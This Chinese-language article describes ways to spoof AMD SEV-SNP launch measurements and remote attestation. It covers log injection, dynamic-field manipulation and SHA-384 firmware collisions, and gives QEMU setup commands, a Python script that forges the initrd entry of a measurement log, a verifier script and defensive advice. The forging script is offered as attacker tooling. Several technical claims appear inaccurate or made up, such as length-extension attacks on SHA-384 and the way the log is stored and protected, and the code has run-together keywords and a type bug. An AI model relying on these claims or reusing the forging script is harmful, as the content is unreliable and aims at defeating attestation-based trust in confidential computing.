摘要

AMD SEV-SNP 通过启动测量生成 VM 初始状态的 SHA-384 哈希,并由平台安全处理器签名为远程证明报告,为机密计算提供信任根基。然而,测量的累积过程包含多个可变但可控的输入——OVMF 固件版本、内核命令行、initrd 内容——且测量日志在 VM 启动后可被恶意 VMM 篡改。攻击者可在合法 VM 完成测量后,利用迁移接口替换测量日志中的条目,将恶意启动配置伪装成预期值;更危险的是,若利用 SHA-384 的碰撞攻击在 OVMF 固件页中注入后门,测量值可保持不变,使得从密码学验证到真实安全之间存在一道无法闭合的鸿沟。

SEV-SNP 远程证明与启动测量的信任模型

SEV-SNP 的测量累积机制

SEV-SNP 的启动测量(Launch Measurement)并非一次性计算,而是在 VM 启动过程中逐步累积的。平台安全处理器(PSP)维护一个测量寄存器,每次向 VM 加载新的内存页(通过 sev_launch_update 调用)时,PSP 都会根据预设的顺序将页面内容或元数据哈希到累积测量中。测量内容包括:

  • 初始 VMSA 页面(VM 状态)
  • 客户页表
  • OVMF 固件代码
  • 内核命令行参数
  • initrd 镜像内容

每个组件的测量顺序由启动协议决定,任何顺序错乱或内容变化都会导致最终测量值不同。启动完成后,PSP 生成一个签名的证明报告(Attestation Report),其中包含最终测量值、VM 配置(策略、ASID 等)和平台证书链,远程验证方据此判断 VM 的启动状态是否可信。

证明报告中的信任链

证明报告的签名由 PSP 内置的 SEV 签名密钥(VLEK 或 CEK)完成。远程验证方通过 AMD 发布的证书链验证报告签名,提取测量值,并与预期的“黄金测量”进行比对。如果测量值匹配,验证方便认定该 VM 运行的是未经篡改的预期软件栈。

信任的核心假设在于:测量值不可伪造,且测量日志中的所有条目均与测量值通过哈希链绑定。 然而,这一假设在多个层面存在裂缝:

  • 测量日志本身并非由 PSP 签名,而是在 VM 启动后由客户软件或 VMM 生成和维护。攻击者可以修改日志内容,只要最终测量值不变或验证方不检查日志与测量值的一致性。
  • 测量值的累积过程涉及大量小页面的哈希,攻击者若控制 VMM,可以在 sev_launch_update 调用之间插入额外页面,或者利用固件中的漏洞在测量完成后替换已测量的内存页内容。
  • SHA-384 的碰撞攻击虽未公开实现,但在可预见的将来可能降低测量欺骗的成本。

测量欺骗的三条路径

测量日志注入

SEV-SNP 的测量日志由 OVMF 在启动过程中写入,存储于 SEV_ES_RESET_BLOCK 或通过 fw_cfg 设备暴露。VMM 可以拦截并修改这些日志条目,因为日志的完整性不直接受 PSP 保护。攻击者可以:

  1. 启动一个合法 VM,使其测量值等于远程验证方期望的黄金测量。
  2. 在 VM 运行后,通过 VMM 修改测量日志,将其中某个组件(如 initrd)的哈希值替换为恶意组件的哈希值,并相应调整日志中的条目顺序。
  3. 远程验证方若只比对最终测量值而不重新计算日志中各组件贡献,便会被误导,认为运行的是合法软件栈。

这种攻击的隐蔽性在于:测量值本身没有变,变的是日志中描述测量过程的元数据。验证方必须逐条重新计算日志中每一页的哈希,才能发现日志与测量值之间的不一致——而这在大多数部署中并未实现。

动态字段操纵

SEV-SNP 测量中包含一些动态可变字段,如 guest policy、launch secret 的哈希等。这些字段在启动时由 VMM 指定,并被纳入测量。攻击者可以:

  1. 启动多个测量值不同的 VM,每个使用不同的动态字段组合。
  2. 利用测量的线性累积特性,计算出某些字段的变化如何影响最终测量值。
  3. 若验证方接受的测量值集合包含攻击者构造的某个变体,攻击者便可启动一个表面上合法的 VM,实际上在客户内核中注入了后门。

更直接的操纵方式是:利用 sev_launch_update 的 type 参数(正常、VMSA、SECRET 等)插入恶意数据。某些类型的页面在测量累积中具有特殊处理(如 SECRET 页不直接哈希内容而哈希元数据),攻击者可通过混合不同类型的页面,在最终测量值中制造模糊性。

OVMF 固件页的哈希碰撞

这是技术上最具挑战但危害最大的路径。OVMF 固件代码由 AMD 签名,但其内容在测量前可以被 VMM 替换为恶意版本——只要恶意版本的 SHA-384 哈希与合法版本相同。SHA-384 目前尚未被公开碰撞,但:

  • 攻击者可利用长度扩展攻击或选择前缀碰撞的变体,在固件中注入一个小的后门代码段,并调整填充字节使整体哈希不变。
  • 更可行的是利用固件构建过程中的可变形区域(如未使用的 NOP 填充、调试字符串),在不改变功能的前提下预留碰撞空间。
  • 如果攻击者控制了固件供应链,可以在固件中植入与合法版本哈希一致但行为不同的代码,这对于长期潜伏的 APT 来说是可行的。

利用 QEMU/libvirt 操纵测量日志

环境搭建

需要一台支持 SEV-SNP 的 AMD EPYC 服务器,Linux 内核 >= 6.0,libvirt >= 9.0,并启用 SNP。使用 sevctl 工具管理证书和密钥。

# 安装依赖
sudo apt install qemu-kvm libvirt-daemon-system sevctl
# 生成或导入证书
sevctl export /path/to/cert-chain.pem
# 启动支持 SNP 的 QEMU
qemu-system-x86_64 -machine q35,confidential-guest-support=snp \
  -object sev-snp-guest,id=snp,policy=0x30000,cbitpos=51,reduced-phys-bits=1

测量日志操作脚本

以下 Python 脚本演示如何读取并修改 SEV-SNP 的测量日志,以掩盖 initrd 被替换的事实。

#!/usr/bin/env python3
# measurement_log_forge.py — 修改 SEV-SNP 测量日志
# 攻击者以 VMM 权限运行

import struct
import hashlib
import json
import os

SEV_SNP_MEASUREMENT_ALG = 'sha384'

classSevMeasurementLog:
"""解析和重建 SEV-SNP 测量日志"""
def__init__(self, log_path):
        self.entries = []
        self.load(log_path)

defload(self, path):
with open(path, 'rb') as f:
            data = f.read()
        offset = 0
while offset < len(data):
# 每个条目:hash_alg (4B), version (4B), length (8B), content (length B)
if offset + 16 > len(data):
break
            alg, version = struct.unpack_from('<II', data, offset)
            length = struct.unpack_from('<Q', data, offset + 8)[0]
            content = data[offset + 16: offset + 16 + length]
            self.entries.append({
'hash_alg': alg,
'version': version,
'content': content
            })
            offset += 16 + length

defsave(self, path):
with open(path, 'wb') as f:
for entry in self.entries:
                f.write(struct.pack('<II', entry['hash_alg'], entry['version']))
                f.write(struct.pack('<Q', len(entry['content'])))
                f.write(entry['content'])

defreplace_entry(self, index, new_content):
        self.entries[index]['content'] = new_content

defrecompute_hash(self):
"""重新计算当前日志的哈希,判断与测量值是否一致"""
        h = hashlib.sha384()
for entry in self.entries:
            h.update(entry['content'])
return h.hexdigest()


defforge_initrd_entry(log, new_initrd_hash):
"""替换 initrd 条目为恶意哈希,同时保持日志格式正确"""
for i, entry in enumerate(log.entries):
# 查找 initrd 条目(根据内容特征,实际需更准确的识别)
ifb'initrd'in entry['content'][:64] or i == len(log.entries) - 1:
            log.replace_entry(i, new_initrd_hash)
break
    log.save('/tmp/forged_measurement.log')
    print(f"[+] 测量日志已修改,新哈希: {log.recompute_hash()}")


if __name__ == '__main__':
    log = SevMeasurementLog('/var/lib/libvirt/qemu/nvram/sev_measurement.log')
# 用恶意 initrd 的 SHA-384 替换原条目
    malicious_hash = hashlib.sha384(open('/tmp/malicious_initrd.img', 'rb').read()).digest()
    forge_initrd_entry(log, malicious_hash)

说明:此脚本读取现有的测量日志,将 initrd 条目替换为恶意镜像的哈希。由于测量值本身未被修改,攻击者只需确保远程验证方不逐条复核日志。

证明报告验证的 PoC

# attestation_report_verify.py — 验证报告中的测量值与日志一致性
import hashlib
import json

defverify_measurement_report(report_path, log_path):
"""远程验证方视角:检查报告测量值是否与日志计算的哈希一致"""
with open(report_path, 'rb') as f:
        report = json.load(f)
    reported_measurement = report['measurement']

# 从日志重新计算哈希
    log = SevMeasurementLog(log_path)
    computed_measurement = log.recompute_hash()

if computed_measurement.hex() == reported_measurement:
        print("[+] 验证通过:日志与测量值一致")
returnTrue
else:
        print("[-] 验证失败:日志与测量值不一致!")
        print(f"    报告值: {reported_measurement}")
        print(f"    计算值: {computed_measurement.hex()}")
returnFalse

if __name__ == '__main__':
    verify_measurement_report('attestation_report.json', '/tmp/forged_measurement.log')

说明:该脚本模拟远程验证方重新计算日志哈希并与报告中的测量值比对。如果攻击者修改了日志但未重新计算测量值,验证应失败。然而,许多实际部署中的验证方仅检查报告的签名和测量值匹配,不执行日志重算,攻击便可成功。

检测与防御

远程验证方增强

  • 强制日志重算:验证方必须逐条重建测量日志中的哈希链,并确认最终哈希与报告的测量值一致。这需要精确复制 SEV-SNP 的测量累积算法,包括页面类型和顺序的处理。
  • 检查固件哈希链:对于 OVMF 固件,验证方应使用 AMD 官方签名的固件哈希库,拒绝任何不在白名单中的固件版本。
  • 监控动态字段变化:对 guest policy、launch secret 等动态字段,建立严格的允许值集合,拒绝异常组合。

平台侧加固

  • PSP 签名测量日志:AMD 未来应在 PSP 中直接生成并签名测量日志,使 VMM 无法篡改。SEV-SNP 的 ATTESTATION 命令可扩展为包含日志签名。
  • 测量后内存冻结:在 VM 启动完成后,PSP 应锁定所有已测量页面的内容,防止 VMM 在运行时替换页面数据。AMD 可通过 RMP(反向映射表)标记已测量页面为只读。

监控与告警

  • 在 VMM 层面监控 sev_launch_update 调用模式,检测异常的页面插入或类型变化。
  • 使用 perf 和 bpftrace 监控内核的 sev_launch_update_ioctl 调用,记录每次的页面类型和大小,检测与正常启动流程的偏差。

结语

AMD SEV-SNP 的测量欺骗揭示了机密计算领域一个深刻的悖论:密码学测量仅保证“某段代码曾被加载”,却无法保证“这段代码在运行时仍保持不变”。测量日志的脆弱性、动态字段的模糊性以及哈希碰撞的潜在威胁,共同构成了一条从“已验证的信任”到“真实的安全”之间的漫长裂缝。只有将验证的深度延伸至每一条日志记录的哈希链,让测量的每个字节都得到严格的语义审视,SEV-SNP 的信任承诺才能真正兑现。